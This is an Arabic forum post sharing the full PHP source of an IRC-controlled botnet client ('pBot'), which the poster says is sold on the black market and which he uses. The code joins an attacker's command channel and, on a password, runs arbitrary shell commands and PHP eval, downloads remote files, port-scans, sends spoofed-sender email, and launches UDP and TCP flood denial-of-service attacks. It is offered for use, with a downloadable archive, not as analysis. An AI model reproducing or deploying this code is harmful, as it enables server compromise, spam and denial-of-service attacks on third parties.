الموضوع: Php Ddos BOt
عرض مشاركة واحدة
قديم 11-07-2012, 12:07 AM   رقم المشاركة : 1 (permalink)
معلومات العضو
Dr.Bat
$ Spam King ~
 
الصورة الرمزية Dr.Bat
 

 

 
إحصائية العضو






Dr.Bat غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
Dr.Bat is on a distinguished road

افتراضي Php Ddos BOt


كود PHP:
<?

 set_time_limit
(0);
 
error_reporting(0);

 class 
pBot
 
{
 var 
$config = array("server"=>"***91;color=green***93;ircserver***91;/color***93;",
 
"port"=>4456,
 
"pass"=>""//senha do server
 
"prefix"=>"Robot|",
 
"maxrand"=>8,
 
"chan"=>"#rfi",
 
"key"=>"kochamddos.pl"//senha do canal
 
"modes"=>"+p",
 
"password"=>"aszek123"//senha do bot
 
"trigger"=>".",
 
"hostauth"=>"*" // * for any hostname
 
);
 var 
$users = array();
 function 
start()
 {
 if(!(
$this->conn fsockopen($this->config***91;'server'***93;,$this->config***91;'port'***93;,$e,$s,30)))
 
$this->start();
 
$ident "dupek";
 
$alph range("a","z");
 for(
$i=0;$i<$this->config***91;'maxrand'***93;;$i++)
 
$ident .= $alph***91;rand(0,25)***93;;
 if(
strlen($this->config***91;'pass'***93;)>0)
 
$this->send("PASS ".$this->config***91;'pass'***93;);
 
$this->send("USER $ident 127.0.0.1 localhost :$ident");
 
$this->set_nick();
 
$this->main();
 }
 function 
main()
 {
 while(!
feof($this->conn))
 {
 
$this->buf trim(fgets($this->conn,512));
 
$cmd explode(" ",$this->buf);
 if(
substr($this->buf,0,6)=="PING :")
 {
 
$this->send("PONG :".substr($this->buf,6));
 }
 if(isset(
$cmd***91;1***93;) && $cmd***91;1***93; =="001")
 {
 
$this->send("MODE ".$this->nick." ".$this->config***91;'modes'***93;);
 
$this->join($this->config***91;'chan'***93;,$this->config***91;'key'***93;);
 }
 if(isset(
$cmd***91;1***93;) && $cmd***91;1***93;=="433")
 {
 
$this->set_nick();
 }
 if(
$this->buf != $old_buf)
 {
 
$mcmd = array();
 
$msg substr(strstr($this->buf," :"),2);
 
$msgcmd explode(" ",$msg);
 
$nick explode("!",$cmd***91;0***93;);
 
$vhost explode("***91;at***93;",$nick***91;1***93;);
 
$vhost $vhost***91;1***93;;
 
$nick substr($nick***91;0***93;,1);
 
$host $cmd***91;0***93;;
 if(
$msgcmd***91;0***93;==$this->nick)
 {
 for(
$i=0;$i<count($msgcmd);$i++)
 
$mcmd***91;$i***93; = $msgcmd***91;$i+1***93;;
 }
 else
 {
 for(
$i=0;$i<count($msgcmd);$i++)
 
$mcmd***91;$i***93; = $msgcmd***91;$i***93;;
 }
 if(
count($cmd)>2)
 {
 switch(
$cmd***91;1***93;)
 {
 case 
"QUIT":
 if(
$this->is_logged_in($host))
 {
 
$this->log_out($host);
 }
 break;
 case 
"PART":
 if(
$this->is_logged_in($host))
 {
 
$this->log_out($host);
 }
 break;
 case 
"PRIVMSG":
 if(!
$this->is_logged_in($host) && ($vhost == $this->config***91;'hostauth'***93; || $this->config***91;'hostauth'***93; == "*"))
 {
 if(
substr($mcmd***91;0***93;,0,1)==".")
 {
 switch(
substr($mcmd***91;0***93;,1))
 {
 case 
"user":
 if(
$mcmd***91;1***93;==$this->config***91;'password'***93;)
 {
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2Auth\2***93;: $nick logado!");
 
$this->log_in($host);
 }
 else
 {
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2Auth\2***93;: Senha errada! $nick");
 }
 break;
 }
 }
 }
 elseif(
$this->is_logged_in($host))
 {
 if(
substr($mcmd***91;0***93;,0,1)==".")
 {
 switch(
substr($mcmd***91;0***93;,1))
 {
 case 
"restart":
 
$this->send("QUIT :restart");
 
fclose($this->conn);
 
$this->start();
 break;
 case 
"mail"//mail to from subject message
 
if(count($mcmd)>4)
 {
 
$header "From: <".$mcmd***91;2***93;.">";
 if(!
mail($mcmd***91;1***93;,$mcmd***91;3***93;,strstr($msg,$mcmd***91;4***93;),$header))
 {
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2mail\2***93;: Isur00tossivel mandar e-mail.");
 }
 else
 {
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2mail\2***93;: Mensagem enviada para \2".$mcmd***91;1***93;."\2");
 }
 }
 break;
 case 
"dns":
 if(isset(
$mcmd***91;1***93;))
 {
 
$ip explode(".",$mcmd***91;1***93;);
 if(
count($ip)==&& is_numeric($ip***91;0***93;) && is_numeric($ip***91;1***93;) && is_numeric($ip***91;2***93;) && is_numeric($ip***91;3***93;))
 {
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2dns\2***93;: ".$mcmd***91;1***93;." => ".gethostbyaddr($mcmd***91;1***93;));
 }
 else
 {
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2dns\2***93;: ".$mcmd***91;1***93;." => ".gethostbyname($mcmd***91;1***93;));
 }
 }
 break;
 case 
"info":
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2Vuln!\2***93;: http://".$_SERVER***91;'SERVER_NAME'***93;."".$_SERVER***91;'REQUEST_URI'***93;."***93;");
 break;
 case 
"bot":
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2Bot by matapato v1.2\2***93;");
 break;
 case 
"cmd":
 if(isset(
$mcmd***91;1***93;))
 {
 
$command substr(strstr($msg,$mcmd***91;0***93;),strlen($mcmd***91;0***93;)+1);
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2cmd\2***93;: $command");
 
$pipe popen($command,"r");
 while(!
feof($pipe))
 {
 
$pbuf trim(fgets($pipe,512));
 if(
$pbuf != NULL)
 
$this->privmsg($this->config***91;'chan'***93;," : $pbuf");
 }
 
pclose($pipe);
 }
 break;
 case 
"rndnick":
 
$this->set_nick();
 break;
 case 
"sur00t":
 
$this->send(strstr($msg,$mcmd***91;1***93;));
 break;
 case 
"php":
 
$eval = eval(substr(strstr($msg,$mcmd***91;1***93;),strlen($mcmd***91;1***93;)));
 break;
 case 
"exec":
 
$command substr(strstr($msg,$mcmd***91;0***93;),strlen($mcmd***91;0***93;)+1);
 
$exec shell_exec($command);
 
$ret explode("\n",$exec);
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2exec\2***93;: $command");
 for(
$i=0;$i<count($ret);$i++)
 if(
$ret***91;$i***93;!=NULL)
 
$this->privmsg($this->config***91;'chan'***93;," : ".trim($ret***91;$i***93;));
 break;
 case 
"pscan"// .pscan 127.0.0.1 6667
 
if(count($mcmd) > 2)
 {
 if(
fsockopen($mcmd***91;1***93;,$mcmd***91;2***93;,$e,$s,15))
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2pscan\2***93;: ".$mcmd***91;1***93;.":".$mcmd***91;2***93;." is \2open\2");
 else
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2pscan\2***93;: ".$mcmd***91;1***93;.":".$mcmd***91;2***93;." is \2closed\2");
 }
 break;
 case 
"ud.server"// .ud.server <server> <port> ***91;password***93;
 
if(count($mcmd)>2)
 {
 
$this->config***91;'server'***93; = $mcmd***91;1***93;;
 
$this->config***91;'port'***93; = $mcmd***91;2***93;;
 if(isset(
$mcmcd***91;3***93;))
 {
 
$this->config***91;'pass'***93; = $mcmd***91;3***93;;
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2update\2***93;: Server trocado para ".$mcmd***91;1***93;.":".$mcmd***91;2***93;." Senha: ".$mcmd***91;3***93;);
 }
 else
 {
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2update\2***93;: Server trocado para ".$mcmd***91;1***93;.":".$mcmd***91;2***93;);
 }
 }
 break;
 case 
"download":
 if(
count($mcmd) > 2)
 {
 if(!
$fp fopen($mcmd***91;2***93;,"w"))
 {
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2download\2***93;: Nao foi possivel fazer o download. Permissao negada.");
 }
 else
 {
 if(!
$get file($mcmd***91;1***93;))
 {
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2download\2***93;: Nao foi possivel fazer o download de \2".$mcmd***91;1***93;."\2");
 }
 else
 {
 for(
$i=0;$i<=count($get);$i++)
 {
 
fwrite($fp,$get***91;$i***93;);
 }
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2download\2***93;: Arquivo \2".$mcmd***91;1***93;."\2 baixado para \2".$mcmd***91;2***93;."\2");
 }
 
fclose($fp);
 }
 }
 break;
 case 
"die":
 
$this->send("QUIT :MORRI! comando por $nick");
 
fclose($this->conn);
 exit;
 case 
"logout":
 
$this->log_out($host);
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2auth\2***93;: $nick deslogado!");
 break;
 case 
"udpflood":
 if(
count($mcmd)>3)
 {
 
$this->udpflood($mcmd***91;1***93;,$mcmd***91;2***93;,$mcmd***91;3***93;);
 }
 break;
 case 
"tcpflood":
 if(
count($mcmd)>5)
 {
 
$this->tcpflood($mcmd***91;1***93;,$mcmd***91;2***93;,$mcmd***91;3***93;,$mcmd***91;4***93;,$mcmd***91;5***93;);
 }
 break;
 }
 }
 }
 break;
 }
 }
 }
 
$old_buf $this->buf;
 }
 
$this->start();
 }
 function 
send($msg)
 {
 
fwrite($this->conn,"$msg\r\n");

 }
 function 
join($chan,$key=NULL)
 {
 
$this->send("JOIN $chan $key");
 }
 function 
privmsg($to,$msg)
 {
 
$this->send("PRIVMSG $to :$msg");
 }
 function 
is_logged_in($host)
 {
 if(isset(
$this->users***91;$host***93;))
 return 
1;
 else
 return 
0;
 }
 function 
log_in($host)
 {
 
$this->users***91;$host***93; = true;
 }
 function 
log_out($host)
 {
 unset(
$this->users***91;$host***93;);
 }
 function 
set_nick()
 {
 if(isset(
$_SERVER***91;'SERVER_SOFTWARE'***93;))
 {
 if(
strstr(strtolower($_SERVER***91;'SERVER_SOFTWARE'***93;),"apache"))


 
$this->nick "";
 }
 
$this->nick .= $this->config***91;'prefix'***93;;
 for(
$i=0;$i<$this->config***91;'maxrand'***93;;$i++)
 
$this->nick .= mt_rand(0,9);
 
$this->send("NICK ".$this->nick);
 }
 function 
udpflood($host,$packetsize,$time) {
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2UdpFlood Started!\2***93;");
 
$packet "";
 for(
$i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
 
$timei time();
 
$i 0;
 while(
time()-$timei $time) {
 
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
 
fwrite($fp,$packet);
 
fclose($fp);
 
$i++;
 }
 
$env $i $packetsize;
 
$env $env 1048576;
 
$vel $env $time;
 
$vel round($vel);
 
$env round($env);
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2UdpFlood Finished!\2***93;: $env MB enviados / Media: $vel MB/s ");
 }
 function 
tcpflood($host,$packets,$packetsize,$port,$delay)
 {
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2TcpFlood Started!\2***93;");
 
$packet "";
 for(
$i=0;$i<$packetsize;$i++)
 
$packet .= chr(mt_rand(1,256));
 for(
$i=0;$i<$packets;$i++)
 {
 if(!
$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
 {
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2TcpFlood\2***93;: Error: <$e>");
 return 
0;
 }
 else
 {
 
fwrite($fp,$packet);
 
fclose($fp);
 }
 
sleep($delay);
 }
 
$this->privmsg($this->config***91;'chan'***93;,"***91;\2TcpFlood Finished!\2***93;: Config - $packets pacotes para $host:$port.");
 }
 }

 
$bot = new pBot;
 
$bot->start();

 
?>
هذا سكريبت يباع في السوق السوداء و انا استعمله بس ألت أطرح لكم
تم ارفاق السكربت بسبب حجب المنتدى لبعض الاكواد.
بالتوفيق


Php Ddos BOt

الملفات المرفقة
نوع الملف: rar bot.rar‏ (2.7 كيلوبايت, المشاهدات 76)
:: نصائح مهمه :: - أفحص الملف المرفق بأي برنامج مضاد للفيروسات
2- قم بمراسلة المراقب عن أي مرفق يوجد به فيروس
3- المنتدى غير مسوؤل عن مايحتويه المرفق من بيانات
التوقيع

R.H@hotmail.com

للتواصل مو ......

 


التعديل الأخير تم بواسطة Cyber Code ; 11-07-2012 الساعة 12:43 AM.

   

رد مع اقتباس